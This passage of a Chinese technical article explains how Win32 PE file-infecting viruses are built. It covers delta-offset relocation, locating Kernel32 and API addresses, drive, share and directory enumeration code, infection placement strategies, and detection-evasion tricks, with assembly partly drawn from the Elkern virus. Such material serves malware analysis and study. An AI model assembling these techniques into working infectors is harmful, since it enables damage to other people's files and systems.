B)利用Intel X86体系结构的特殊指令,call或fnstenv等指令动态获取当前指令的运行时地址,计算该地址与编译时预定义地址的差值(被称为delta offset),再将该差值加到原编译时预定的地址上,得到的就是运行时数据的正确地址。对于intel x86指令集而言,在书写代码时,通过将delta offset放在某个寄存器中,然后通过变址寻址引用数据就可以解决引用数据重定位的难题。还以上例说明,假如上述指令块被操作系统映射在0x500000处那么代码及其在内存中的地址将变为:
501000:
mov eax,dword ptr [402035]
......
502035:
db "hello world!",0
显然,mov指令引用的操作数地址是不正确的,如果我们知道了mov指令运行时地址是0x501000,那么计算该地址和编译时该指令预设地址的差值:0x501000-0x401000 = 0x100000。很显然指令引用的实际数据地址应该为0x402035+0x100000 = 0x502035。从上例可以看出,只要能够在运行时确定某条指令动态运行时的地址,而其编译时地址已知,我们就能够通过将delta offset加到相应的地址上正确重定位任何代码或数据的运行时地址。原理如图4所示:
图4 delta iffset
通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:
;ebp包含了delta offset值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:
call delta
delta:
pop ebp
sub ebp,offset delta
在运行时就动态计算出了delta offset值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp执行完毕后ebp中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset的值。除了用明显的call指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv为例,该指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中,结构如下图5所示:
图5 浮点环境块的结构
该结构偏移12字节处就是最后执行的浮点指令的运行时地址,因此我们也可以用如下一段指令获取delta offset:
fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset也不一定非要放在ebp中,只不过是ebp作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset保存在ebp中,其实用其他寄存器也完全可以。
在优化过的病毒代码中并不经常直接使用上述直接计算delta offset的代码,比如在Elkern开头写成了类似如下的代码:
call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦,但是addrOpenProcess-_start_ip是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。
* API函数地址的获取
在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。
所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000中CreateFileA的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows版本之间该API的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE文件的时候,可以将其引入的特定DLL中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:
A)在感染PE文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API函数地址填好了,病毒代码即可正确地直接调用该函数。
B)系统可以解析DLL的导出表,自然病毒也可以通过这种手段从DLL中获取所需要的API地址。要在运行时解析搜索DLL的导出表,必须首先获取DLL在内存中的真实加载地址,只有这样才能解析从PE的头部信息中找到导出表的位置。应该首先解析哪个DLL呢?我们知道Kernel32.DLL几乎在所有的Win32进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary和GetProcAddress两个API可以获取任意DLL中导出的任意函数,在迄今为止的所有Windows平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL的导出表获取常用的API地址,如需要可进一步使用Kernel32.DLL中的LoadLibrary和GetProcAddress两个API更简单地获取任意其他DLL中导出函数的地址并进行调用。
* 获取Kernel32.DLL基址
获取Kernel32.DLL基址的方法很多,最常见的一种是搜索法,如果已知Kernel32.DLL加载的大致地址,那么可由该地址向高地址或低地址进行搜索可以找到其基址。另外一种方法是搜索NT PEB结构中的模块列表获取Kernel32.DLL的准确加载基址。下面看一下具体的实现代码:
方法1:暴力搜索获取Kernel32.DLL的基址
最初的病毒是指定一个大致的加载地址,比如根据实验在9X下其加载地址是0xBFF70000;在Windows 2000下加载基址是0x77E80000;在XP和2003下其加载基址是0x77E60000,因此在NT系统下就可以从0x77e00000开始向高地址搜索,在9X下可以从0xBFF00000开始向高地址搜索,如果搜索到Kernel32.DLL的加载地址,其头部一定是“MZ”标志,由模块起始偏移0x3C的双字确定的PE头部标志必然是“PE”标志,因此可根据这两个标志判断是否找到了模块加载地址,也许有人认为该方法不可靠,因为如果恰好有某段数据符合这两个特征,那么找到的基址可能就是错误的,但经实验证明,该判断方法非常可靠,基本不会出现错误。有一点需要注意的是,在所有版本的Windows系统下Kernel32.DLL的加载基址都是按照0x10000对齐的,根据这一特点可以不必逐字节搜索,按照64K对齐的边界地址搜索即可。
从大致的一个地址开始搜索Kernel32.DLL基址可能会出现读写到未映射内存区域的情况,因此需要和SEH配合使用。如果有在各个版本下准确获取Kernel32.DLL中某地址的通用方法,那么就可以更可靠地从该地址开始向低地址搜索,显然会更加通用。事实上,这种方法是存在的。在系统加载PE文件跳转到PE入口点第一条指令的时候,堆栈顶保存的就是Kernel32.DLL中的某个地址,Elkern中采用的就是这种方法:
_start:
pushfd ;If some flags,especial DF,changed,some APIs can crash down!!!
pushad
_start_@1 equ $
;......
mov ebx,[esp+9*4] ;前面已经由pushfd和pushad压入了9个双字
and ebx,0ffe00000h ;该地址为Kernel32.dll模块下方的某个地址
;先减去0x100000确保该地址处于Kernel32.dll的下方
;向高地址搜索如果将来Windows的发行版本中Kernel32.dll
;大小和代码结构发生变化,该方法可能无效
ebx中现在已经是Kernel32.DLL基址之前某个地址了,后续代码可以向高地址搜索其基址。该方法有一个缺点,就是必须明确知道程序入口的堆栈指针值,或间接可计算出该值,对于那些在程序入口获取控制权的病毒代码而言,是可以的,但对于采用EPO技术的病毒而言,该方法则不适用。事实上还有另外一种更加通用的方法,我们知道在Win32程序执行过程中fs段寄存器的基址总是指向进程的TEB,TEB的第一个成员指向SEH链表,该链表每个节点都是一个EXCEPTION_REGISTRATION结构,该结构定义如下:
struct EXCEPTION_REGISTRATION{
struct EXCEPTION_REGISTRATION *prev;
void* handler;
};
在Windows下SEH链表最后一个成员的handler指向Kernel32.DLL中函数UnhandledExceptionFilter的起始地址,利用这一特性我们可以写出更通用的代码:
xor esi,esi
lods dword [fs:esi];取得SEH链表的头指针
@@:
inc eax ;是否是最后一个SEH节点,检查prev是否为0xFFFFFFFF
je @F
dec eax
xchg esi,eax
LODSD ;下一个SEH节点
jmp near @B
@@:
LODSD ;取得Kernel32.dll中UnhandledExceptionFilter的地址
在有的病毒直接以0x7FFDE000作为TEB的指针值,其原因在于在Windows 2003 SP1、Windows XP SP2以前的NT类系统上,该值是固定的,这样的确可以节省一两个字节。但是在Windows 2003 SP1、Windows XP SP2中,情况已经发生了变化,出于安全性的考虑,Windows系统开始动态映射TEB了,也就是说,指向TEB的指针值不再固定,因此这种硬编码的方法也就走到了尽头。此时可以按照前面的方法向低地址搜索判断直到找到Kernel32.dll的基址为止。Elkern中判断是否找到了Kernel32.dll基址的相关代码如下:
search_api_addr_@1:
add ebx,10000h
jz short search_api_addr_seh_restore
cmp word ptr [ebx],'ZM' ;是否是MZ标志
jnz short search_api_addr_@1
mov eax,[ebx+3ch]
add eax,ebx
cmp word ptr [eax],'EP' ;是否具有PE标志
jnz short search_api_addr_@1
;找到了kernel32.dll的基址
方法2:搜索PEB的相关结构获取Kernel32.DLL的基址
前述TEB偏移0x30处,亦即FS:[0x30]地址处保存着一个重要的指针,该指针指向PEB(进程环境块),PEB成员很多,这里并不介绍PEB的详细结构。我们只需要知道PEB结构的偏移0xC处保存着另外一个重要指针ldr,该指针指向PEB_LDR_DATA结构:
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
该结构的后三个成员是指向LDR_MODULE链表结构中相应三条双向链表头的指针,分别是按照加载顺序、在内存中的地址顺序和初始化顺序排列的模块信息结构的指针。LDR_MODULE结构如下所示:
typedef struct _LDR_MODULE
{
LIST_ENTRY InLoadOrderModuleList; // +0x00
LIST_ENTRY InMemoryOrderModuleList; // +0x08
LIST_ENTRY InInitializationOrderModuleList; // +0x10
PVOID BaseAddress; // +0x18
PVOID EntryPoint; // +0x1c
ULONG SizeOfImage; // +0x20
UNICODE_STRING FullDllName; // +0x24
UNICODE_STRING BaseDllName; // +0x2c
ULONG Flags; // +0x34
SHORT LoadCount; // +0x38
SHORT TlsIndex; // +0x3a
LIST_ENTRY HashTableEntry; // +0x3c
ULONG TimeDateStamp; // +0x44
// +0x48
} LDR_MODULE, *PLDR_MODULE;
Peb->Ldr->InInitializationOrderModuleList指向按照初始化顺序排序的第一个LDR_MODULE节点的InInitializationOrderModuleList成员的指针,在WinNT平台(不包含Win9X)下,该链表头节点的LDR_MODULE结构包含的是NTDLL.DLL的相关信息,而链表的下一个节点所包含的就是Kernel32.dll相关的信息了,该节点LDR_MODULE结构中的BaseAddress不正是我们所苦苦寻找的吗。注意InInitializationOrderModuleList是LDR_MODULE的第3个成员,因此要获取BaseAddress的地址,只需将其指针加8再derefrence即可。因此下面的汇编代码即可获取Kernel32.DLL的基址:
mov eax, dword ptr fs:[30h] ;获取PEB基址
mov eax, dword ptr [eax+0ch] ;获取PEB_LDR_DATA结构指针
mov esi, dword ptr [eax+1ch]
;获取InInitializationOrderModuleList链表头第一个LDR_MODULE节点
InInitializationOrderModuleList成员的指针
lodsd ;获取双向链表当前节点后继的指针
mov ebx, dword ptr [eax+08h] ;取其基地址,该结构当前包含的是
;kernel32.dll相关的信息
该方法在所有的Windows NT(包括Windows 2003 SP1和Windows XP SP2)操作系统上都是有效的,唯一的缺憾是由于PEB结构不同,该方法在Win9X系统上无效。听起来可能比较费解,还是用一张图更加清晰一些:
图6 利用PEB搜索kernel32.dll基地址的过程
* 解析PE文件的导出函数表
PE文件的函数导出机制是进行模块间动态调用的重要机制,对于正常的程序,相关操作是由系统加载器在程序加载前自动完成的,对用户程序是透明的。但要想在病毒代码中实现函数地址的动态解析以取代加载器,那就有必要了解函数导出表的结构了。在图1中可以看到在PE头结构IMAGE_OPTIONAL_HEADER32结构中包含一个DataDirectory数组结构,该结构包含16个成员,每个成员都是一个IMAGE_DATA_DIRECTORY结构:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
DataDirectory数组的每个结构都指向一个重要的数据结构,第一个成员指向导出函数表(索引0),第2个成员指向PE文件的引入函数表(索引1)。DataDirectory中的第一个成员指向导出函数表的IMAGE_EXPORT_DIRECTORY结构:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
AddressOfFunctions是一个双字数组,包含了所有导出函数的RVA,另外两个成员AddressOfNames也是一个双字数组,包含了指向导出函数名字的字符串的RVA,AddressOfNameOrdinals是一个字数组(16bit),和AddressOfNames数组是并行的,和AddressOfNames数组一起确定了相应引出函数的序号,该序号可直接用于索引AddressOfFunctions数组获取导出函数的地址。因此病毒搜索指定的API就包含了如下步骤:
a)获取NumberOfNames的值以及AddressOfNames、AddressOfNameOrdinals和AddressOfFunctions的数组的地址。
b)搜索AddressOfNames数组,按字符串对比,若找到相应的API,转d
c)若NumberOfNames名字尚未全部搜索完毕,转b继续搜索,若搜索完毕,则表明未找到进行错误处理,这一步通常可以省略,因为我们已经知道相应的DLL中肯定导出了相应的函数。
d)获取当前函数名字指针在AddressOfNames数组中的索引,在AddressOfNameOrdinals数组中取出以该值索引的函数序号,以该序号值作为AddressOfFunctions数组的索引,在AddressOfFunctions数组中取出导出函数的RVA值,加上基址就得到了运行时导出函数的地址。
看起来似乎比较罗嗦,实际上这是PE设计时为考虑灵活性而做出的牺牲。不过实现起来还是比较简单的,通常汇编代码编译后不到100字节。以下是在Kernel32搜索GetProcAddress的完整代码:
push esi
;esi=VA Kernel32.BASE
;edi=RVA K32.pehdr
mov ebp,esi
mov edi,[ebp+edi+peh.DataDirectory]
push edi esi
mov eax,[ebp+edi+peexc.AddressOfNames]
mov edx,[ebp+edi+peexc.AddressOfNameOrdinals]
call @F
db "GetProcAddress",0
@@:
pop edi
mov ecx,15
sub eax,4
next_:
add eax,4
add edi,ecx
sub edi,15
mov esi,[ebp+eax]
add esi,ebp
mov ecx,15
repz cmpsb ;进行字符串比较,判断是否为要查找的函数
jnz next_
pop esi edi
sub eax,[ebp+edi+peexc.AddressOfNames]
shr eax,1
add edx,ebp
movzx eax,word [edx+eax]
add esi,[ebp+edi+peexc.AddressOfFunctions]
add ebp,[esi+eax*4] ;ebp=Kernel32.GetProcAddress.addr
;use GetProcAddress and hModule to get other func
pop esi ;esi=kernel32 Base
在前面解析导出函数表获取API地址的时候,采用的是直接比较字符串的方法判断是不是找到了相应的API,其实还可以计算函数名字的hash,然后同预计算的hash进行比对,现代的PE病毒更多采用的hash的方法,其原因在于一般的函数名字长度都大于4字节,而用hash只要占用4个字节或2个字节,可以节省空间,此外还有抗病毒分析的作用,因为hash要比字符串名字费解得多。hash算法的设计只要能保证无冲突即可,可以用crc等成熟算法,也可以设计自己的简单算法。在Elkern中就使用了crc16算法。
* 文件搜索
文件搜索是病毒的重要功能模块之一,也是实现感染和传播的关键。现代Windows和各种移动介质的文件系统可能采用多种复杂格式,因此象一些Dos病毒一样试图直接存取文件系统(读写扇区)是不大现实的。通常利用Win32 API的FindFirstFile和FindNextFile来实当前目录下所有目录和文件的搜索,通过判断搜索到的文件属性,可区分是否为目录或可执行文件,对于可执行文件则根据预先设计好的感染策略进行感染;对于当前目录下的所有子目录以及特殊的..父目录,可以使用递归或非递归的方式利用上述两个API全部进行遍历,因此从某个驱动器或网络共享文件夹的任意一个子目录开始,都可以遍历当前驱动器或网络共享文件夹内的所有文件和目录。一般地,搜索文件从驱动器或共享文件夹的根目录开始,那么如何得到当前系统中存在的所有驱动器或所有的共享文件夹列表呢?对于前一个问题,我们知道Windows下可划分A:~Z:共26个逻辑盘符,因此可以从A:开始递增搜索所有的驱动器,使用Win32 API GetDriveType判断当前搜索的盘符是否存在,以及是否是固定硬盘、可移动存储介质、是否可写或是网络驱动器等。一般病毒只感染固定硬盘或网络驱动器。由于汇编语言在表述算法时显得过于冗长,因此算法部分使用C语言描述,当然将C算法转换成汇编语言是很简单的过程。
下面的代码enumdisk.cpp将显示A-Z各个驱动器的相关属性:
#include
#include
#define MAX_DRIVENAME_LENGTH 64
void __cdecl main(int argc,char *argv[])
{
char DriveName[MAX_DRIVENAME_LENGTH];
char *p;
unsigned int drv_attr;
p = DriveName;
strncpy(DriveName,"A:",MAX_DRIVENAME_LENGTH);
for(;*p<'Z';++*p) {
drv_attr = GetDriveType(p);
switch(drv_attr)
{
case DRIVE_UNKNOWN: // 未知类型
printf("drive %s type %s\n",p,"DRIVE_UNKNOWN");break;
case DRIVE_NO_ROOT_DIR: // 该驱动器不存在
printf("drive %s type %s\n",p,"DRIVE_NO_ROOT_DIR");break;
case DRIVE_REMOVABLE: // 可移动盘,软盘或U盘或移动硬盘等
printf("drive %s type %s\n",p,"DRIVE_REMOVABLE");break;
case DRIVE_FIXED: // 固定硬盘
printf("drive %s type %s\n",p,"DRIVE_FIXED");break;
case DRIVE_REMOTE: // 一般是映射网络驱动器
printf("drive %s type %s\n",p,"DRIVE_REMOTE");break;
case DRIVE_CDROM: // 光盘
printf("drive %s type %s\n",p,"DRIVE_CDROM");break;
case DRIVE_RAMDISK: // RAM DISK
printf("drive %s type %s\n",p,"DRIVE_RAMDISK");break;
}
}
}
与仅仅显示一条信息不同的是,病毒此时将调用文件枚举函数(如后面给出的enum_path函数)从当前根目录开始遍历DRIVE_FIXED的驱动器上的所有文件,根据预定义策略进行文件感染。
网络共享资源也是按树状组织的,非叶节点称为容器(container),对容器需要进一步搜索直到到达叶子节点为止,叶子节点才是共享资源的根路径。共享资源一般分成两种:共享打印设备和共享文件夹。对于网络共享文件的搜索,采用WNetOpenEnum和WNetEnumResource(由mpr.dll导出)进行递归枚举。其函数原型及参数含义请参阅MSDN,使用如下代码enumshare.cpp将显示所有的网络驱动器共享文件夹的路径:
#include
#include
#pragma comment(lib,"mpr.lib")
int enum_netshare(LPNETRESOURCE lpnr);
void __cdecl main(int argc,char *argv[])
{
enum_netshare(0);
}
int enum_netshare(LPNETRESOURCE lpnr)
{
DWORD r, rEnum,usage;
HANDLE hEnum;
DWORD cbBuffer = 16384;
DWORD cEntries = -1;
LPNETRESOURCE lpnrLocal; // NETRESOURCE数组结构的指针
DWORD i;
r = WNetOpenEnum(RESOURCE_GLOBALNET, // 范围:所有网络资源
RESOURCETYPE_DISK,// 类型:仅枚举可存储介质
RESOURCEUSAGE_ALL,// 使用状态:所有
lpnr, // 初次调用时为NULL
&hEnum); // 成功后返回的网络资源句柄
if (r != NO_ERROR) {
printf("WNetOpenEnum error....\n");
return FALSE;
}
lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
if (lpnrLocal == NULL)
return FALSE;
do
{
ZeroMemory(lpnrLocal, cbBuffer);
rEnum = WNetEnumResource(hEnum,
&cEntries, // 返回尽可能多的结果
lpnrLocal, // LPNETRESOURCE
&cbBuffer); // buffer大小
if (rEnum == NO_ERROR) {
for(i = 0; i < cEntries; i++) {
usage = lpnrLocal[i].dwUsage;
if(usage & RESOURCEUSAGE_CONTAINER) {
if(!enum_netshare(&lpnrLocal[i]))
printf("Errors detected in enum process...\n");
}else{
// 这里病毒可调用遍历函数遍历该共享文件夹下的所有文件
// enum_path(lpnrLocal[i].lpRemoteName);
printf("find %s --> %s\n",lpnrLocal[i].lpLocalName,
lpnrLocal[i].lpRemoteName);
}
}
}else if (rEnum != ERROR_NO_MORE_ITEMS) {
printf("WNetEnumResource error...\n");
break;
}
}while(rEnum != ERROR_NO_MORE_ITEMS);
free((void*)lpnrLocal);
r = WNetCloseEnum(hEnum);
if(r != NO_ERROR) {
printf("WNetCloseEnum error....\n");
return FALSE;
}
return TRUE;
}
遍历开始时WNetOpenEnum第4形参为0,在发现共享容器进行递归调用时候,该参数将为共享容器的NETRESOURCE结构指针。从NETRESOURCE结构中可以找到我们感兴趣的lpRemoteName,该指针不为0则表示是有效的共享容器或共享文件夹。
typedef struct _NETRESOURCE {
DWORD dwScope;
DWORD dwType;
DWORD dwDisplayType;
DWORD dwUsage;
LPTSTR lpLocalName;
LPTSTR lpRemoteName;
LPTSTR lpComment;
LPTSTR lpProvider;
} NETRESOURCE;
在解决了起始目录的问题之后,就可以从这些起始目录开始使用FindFirstFile和FindNextFile开始遍历其下以及其子目录下的所有文件和目录了,遍历方法可采用深度优先或广度优先搜索算法,较常用的还是深度优先算法。具体实现方式可采用递归搜索或非递归搜索两种实现方式。递归搜索需要占用栈空间,有可能造成栈空间耗竭而产生异常,不过在现实应用中这种情况很少出现,而非递归搜索则不存在此问题,但代码实现略复杂。在现实应用中,应用最多的还是递归遍历搜索。搜索时,可指定FindFirstFile的第一形参为*.*以搜索所有文件,根据搜索结果WIN32_FIND_DATA结构的dwFileAttributes成员判断是否为目录,若为目录则需要继续遍历该子目录,根据WIN32_FIND_DATA的cFileName中的文件名成员判断是否具有要感染的文件后缀以采取修改感染动作,以下代码实现了递归搜索某个目录及其下所有子目录的功能:
void enum_path(char *cpath){
WIN32_FIND_DATA wfd;
HANDLE hfd;
char cdir[MAX_PATH];
char subdir[MAX_PATH];
int r;
GetCurrentDirectory(MAX_PATH,cdir);
SetCurrentDirectory(cpath);
hfd = FindFirstFile("*.*",&wfd);
if(hfd!=INVALID_HANDLE_VALUE) {
do{
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(wfd.cFileName[0] != '.') {
//合成完整路径名
sprintf(subdir,"%s\\%s",cpath,wfd.cFileName);
//递归枚举子目录
enum_path(subdir);
}
}else{
printf("%s\\%s\n",cpath,wfd.cFileName);
// 病毒可根据后缀名判断是否要感染相应的文件
}
}while(r=FindNextFile(hfd,&wfd),r!=0);
}
SetCurrentDirectory(cdir);
}
短短20多行C代码就实现了文件遍历的功能,Win32 API的强大功能不仅为开发者提供了便利,同时也为病毒敞开了方便之门。用汇编实现则稍微复杂一些,感兴趣的读者可参阅Elkern中的enum_path部分,原理是一样的,限于篇幅这里不再给出相应的汇编代码。
非递归搜索不使用堆栈存储相关的信息,而使用显式分配的链表或栈等结构存储相关的信息,应用一个迭代循环完成递归遍历同样的功能,下面是使用链表以栈方式处理子目录列表的一个简单实现:
void nr_enum_path(char *cpath){
list
string cdir,subdir;
WIN32_FIND_DATA wfd;
HANDLE hfd;
int r;
dir_list.push_back(string(cpath));
while(dir_list.size()) {
cdir = dir_list.back();
dir_list.pop_back();
SetCurrentDirectory(cdir.c_str());
hfd = FindFirstFile("*.*",&wfd);
if(hfd!=INVALID_HANDLE_VALUE) {
do{
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(wfd.cFileName[0] != '.') {
//合成完整路径名
subdir=cdir+"\\"+wfd.cFileName;
cout<<"push subdir: "<
dir_list.push_back(string(subdir));
}
}else{
printf("%s\\%s\n",cpath,wfd.cFileName);
// 病毒可根据后缀名判断是否要感染相应的文件
}
}while(r=FindNextFile(hfd,&wfd),r!=0);
}
}//end while
}
在以汇编语言实现时,需要自己管理链表以及分配和释放相应的结构,因此较为烦琐,代码量也稍大,因此病毒多采用递归的方式进行搜索。值得注意的是搜索深层次的目录是很费时的,因此大部分病毒为避免CPU占用率过高,搜索一定数量的文件之后,都会调用Sleep休眠一会,以避免被敏感的用户发觉。文件搜索和感染模块通常是以单独的线程运行的,在病毒获得控制权后,创建相应的搜索和感染线程,而将主现成的控制权交给原程序。
* PE文件的修改和感染策略
既然已经能够搜索磁盘及网络共享文件中的所有文件,要实现寄生,那么自然下一步就是对搜索到的PE文件进行感染了。感染PE的很重要的一个考虑就是将病毒代码写入到PE文件的哪个位置。读写文件一般利用Win32 API CreateFile、CreateFileMapping、MapViewOfFile等API以内存映射文件的方式进行,这样可以避免自己管理缓冲的麻烦,因而为较多病毒所采用。为了能够读写具有只读属性的文件,病毒在操作前首先利用GetFileAttributes获取其属性并保存,然后用SetFileAttributes将文件的属性修改为可写,在感染完毕后再恢复其属性值。
一般说来,有如下几种感染PE文件的方案供选择:
a)添加一个新的节。将病毒代码写入到新的节中,相应修改节表,文件头中文件大小等属性值。由于在PE尾部增加了一个节,因此较容易被用户察觉。在某些情况下,由于原PE头部没有足够的空间存放新增节的节表信息,因此还要对其它数据进行搬移等操作。鉴于上述问题,PE病毒使用该方法的并不多。
b)附加在最后一个节上。修改最后一个节节表的大小和属性以及文件头中文件大小等属性值。由于越来越多的杀毒软件采用了一种尾部扫描的方式,因此很多病毒还要在病毒代码之后附加随机数据以逃避该种扫描。现代PE病毒大量使用该种方式。
c)写入到PE文件头部未用空间各个节所保留的空隙之中。PE头部大小一般为1024字节,有5-6个节的普通PE文件实际被占用部分一般仅为600字节左右,尚有400多个字节的剩余空间可以利用。PE文件各个节之间一般都是按照512字节对齐的,但节中的实际数据常常未完全使用全部的512字节,PE文件的对齐设计本来是出于效率的考虑,但其留下的空隙却给病毒留下了栖身之地。这种感染方式感染后原PE文件的总长度可能并不会增加,因此自CIH病毒首次使用该技术以来,备受病毒作者的青睐。
d)覆盖某些非常用数据。如一般exe文件的重定位表,由于exe一般不需要重定位,因此可以覆盖重定位数据而不会造成问题,为保险起见可将文件头中指示重定位项的DataDirectory数组中的相应项清空,这种方式一般也不会造成被感染文件长度的增加。因此很多病毒也广泛使用该种方法。
e)压缩某些数据或代码以节约出存放病毒代码的空间,然后将病毒代码写入这些空间,在程序代码运行前病毒首先解压缩相应的数据或代码,然后再将控制权交给原程序。该种方式一般不会增加被感染文件的大小,但需考虑的因素较多,实现起来难度也比较大。用的还不多。
不论何种方式,都涉及到对PE头部相关信息以及节表的相关操作,我们首先研究一下PE的修改,即如何在添加了病毒代码后使得PE文件仍然是合法的PE文件,仍然能够被系统加载器加载执行。
PE文件的每个节的属性都是由节表中的一个表项描述的,节表紧跟在IMAGE_NT_HEADERS后面,因此从文件偏移0x3C处的双字找到IMAGE_NT_HEADERS的起始偏移,再加上IMAGE_NT_HEADERS的大小(248字节)就定位了节表的起始位置,每个表项是一个IMAGE_SECTION_HEADER结构:
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 节的名字
union {
DWORD PhysicalAddress;
DWORD VirtualSize; // 字节计算的实际大小
} Misc;
DWORD VirtualAddress; // 节的起始虚拟地址
DWORD SizeOfRawData; // 按照文件头FileAlignment
// 对齐后的大小
DWORD PointerToRawData; // 文件中指向该节起始的偏移
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics; // 节的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
节表项的数目由IMAGE_NT_HEADERS的NumberOfSections成员确定。由节表中的起始虚拟地址以及该节在文件中的位置就可以换算加载后内存虚拟地址和文件中地址之间的映射关系。添加一个节则需要修改该节表数组,在其中增加一个表项,然后相应修改NumberOfSections的数目。值得注意的是,某些PE文件现存节表后面可能紧跟着其它数据,如bound import数据,这时就不能简单地增加一个节表项,需要先移动这些数据并修改相应的结构后才能增加节,否则PE文件将不能正常执行。由于很多病毒是自我修改的,因此节属性通常设置为E000XXXX,表示该节可读写执行,否则就需要在病毒的开始处调用VirtualProtect之类的API动态修改内存页的属性了。由上述节表的定义还可以看到每个节的实际数据都是按照文件头中FileAlignment对齐的,这个大小一般是512,因此每个节可能有不超过512字节的未用空间(SizeOfRawData- VirtualSize),这恰好给病毒以可乘之机,著名的CIH病毒首先采用了这种技术,不过问题是每个节的空隙大小是不定的,因此就需要将病毒代码分成若干部分存放,运行时再通过一段代码组合起来,优点是如果病毒代码较小则无需增加PE的大小,隐蔽性较强。如果所有节的未用空间仍不足以容纳病毒代码,则可新增节或附加到最后一个节上。附加到最后一个节上是比较简单的,只要修改节表中最后一个节的VirtualSize以及按FileAlignment对齐后的SizeOfRawData成员即可。当然在上述所有修改节的情况中,如果改变了文件的大小,都要修正文件头中SizeOfImage这个值的大小,该值是所有节和头按照SectionAlignment对齐后的大小。
这里有两个问题值得注意,第一问题就是对WFP(Windows File Protection)文件的处理,WFP机制是从Windows 2000开始新增的保护系统文件的机制,若系统发现重要的系统文件被改变,则弹出一个对话框警告用户该文件已被替换。当然有多种方法绕过WFP保护,但对病毒而言,更简单的方法就是不感染在WFP列表中的系统文件。可使用sfc.dll的导出函数SfcIsFileProtected判断一个文件是否在该列表中,该API的第一个参数必须为0,第二个参数是要判断的文件名,若在列表中返回非0值,否则返回0。
另外一个问题就是关于PE文件的校验。大部分PE文件都不使用文件头中的CheckSum域的校验和值,不过有些PE文件,如关键的系统服务程序文件以及驱动程序文件则该值必须正确,否则系统加载器将拒绝加载。PE头部的CheckSum可以使用Imagehlp.dll的导出函数CheckSumMappedFile计算,也可以在将该域清0后按照如下简单的等价算法计算:
如果PE文件大小是奇数字节,则以0补足,使之按偶数字节。将PE文件头的CheckSum域清0,然后以两个字节为单位进行adc运算,最后和将该累加和同文件实际大小进行adc运算即得到校验和的值。下面的cal_checksum过程假设esi已经指向PE文件头,文件头部CheckSum域已经被清0,CF标志位已经被复位:
;调用示例:
;clc
;push pe_fileseize
